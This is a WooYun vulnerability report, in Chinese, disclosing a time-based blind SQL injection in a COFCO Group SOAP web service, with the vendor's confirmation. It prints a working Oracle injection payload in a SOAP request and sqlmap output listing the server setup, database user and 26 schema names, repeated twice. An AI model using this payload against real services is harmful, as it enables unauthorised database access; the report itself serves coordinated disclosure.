当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157608

漏洞标题:中粮集团某站继续注入

相关厂商:中粮集团有限公司

漏洞作者: Aug0st

提交时间:2015-12-02 16:21

修复时间:2016-01-17 08:56

公开时间:2016-01-17 08:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-02: 细节已通知厂商并且等待厂商处理中
2015-12-03: 厂商已经确认,细节仅向厂商公开
2015-12-13: 细节向核心白帽子及相关领域专家公开
2015-12-23: 细节向普通白帽子公开
2016-01-02: 细节向实习白帽子公开
2016-01-17: 细节向公众公开

简要描述:

rt

详细说明:

先看这里:
WooYun: 中粮ws注入之补哪里打哪里
这个是个error-based 注入,但是厂商好像直接关闭了报错显示,导致可以继续注入,
继续time-based注入:
sqlmap identified the following injection point(s) with a total of 124 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: <?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<WoMai_BonusEnquiry xmlns="http://tempuri.org/">
<strCallUserCode>admin' AND 7668=DBMS_PIPE.RECEIVE_MESSAGE(CHR(121)||CHR(108)||CHR(72)||CHR(85),5) AND 'KcpR'='KcpR</strCallUserCode>
<strCallPassword>1111111</strCallPassword>
<strWoMaiAccount>1111111</strWoMaiAccount>
</WoMai_BonusEnquiry>
</soap:Body>
</soap:Envelope>
Vector: AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Oracle
current user: 'HQDYC'
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: <?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<WoMai_BonusEnquiry xmlns="http://tempuri.org/">
<strCallUserCode>admin' AND 7668=DBMS_PIPE.RECEIVE_MESSAGE(CHR(121)||CHR(108)||CHR(72)||CHR(85),5) AND 'KcpR'='KcpR</strCallUserCode>
<strCallPassword>1111111</strCallPassword>
<strWoMaiAccount>1111111</strWoMaiAccount>
</WoMai_BonusEnquiry>
</soap:Body>
</soap:Envelope>
Vector: AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Oracle
current schema (equivalent to database on Oracle): 'HQDYC'
T
back-end DBMS: Oracle
available databases [26]:
[*] aUTLN
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFTYS
[*] HQDYC
[*] HR
[*] IX
[*] JCHT
[*] JOYCITY
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] PM
[*] QQTEST
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] XY
[*] YYAPP
基于时间跑数据太累

漏洞证明:

先看这里:
WooYun: 中粮ws注入之补哪里打哪里
这个是个error-based 注入,但是厂商好像直接关闭了报错显示,导致可以继续注入,
继续time-based注入:
sqlmap identified the following injection point(s) with a total of 124 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: <?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<WoMai_BonusEnquiry xmlns="http://tempuri.org/">
<strCallUserCode>admin' AND 7668=DBMS_PIPE.RECEIVE_MESSAGE(CHR(121)||CHR(108)||CHR(72)||CHR(85),5) AND 'KcpR'='KcpR</strCallUserCode>
<strCallPassword>1111111</strCallPassword>
<strWoMaiAccount>1111111</strWoMaiAccount>
</WoMai_BonusEnquiry>
</soap:Body>
</soap:Envelope>
Vector: AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Oracle
current user: 'HQDYC'
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: <?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<WoMai_BonusEnquiry xmlns="http://tempuri.org/">
<strCallUserCode>admin' AND 7668=DBMS_PIPE.RECEIVE_MESSAGE(CHR(121)||CHR(108)||CHR(72)||CHR(85),5) AND 'KcpR'='KcpR</strCallUserCode>
<strCallPassword>1111111</strCallPassword>
<strWoMaiAccount>1111111</strWoMaiAccount>
</WoMai_BonusEnquiry>
</soap:Body>
</soap:Envelope>
Vector: AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Oracle
current schema (equivalent to database on Oracle): 'HQDYC'
T
back-end DBMS: Oracle
available databases [26]:
[*] aUTLN
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFTYS
[*] HQDYC
[*] HR
[*] IX
[*] JCHT
[*] JOYCITY
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] PM
[*] QQTEST
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] XY
[*] YYAPP
基于时间跑数据太累

修复方案:

从代码层过滤,或者waf,安全问题的意识

版权声明:转载请注明来源 Aug0st@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-12-03 08:54

厂商回复:

非常感谢,马上整改!

最新状态:

暂无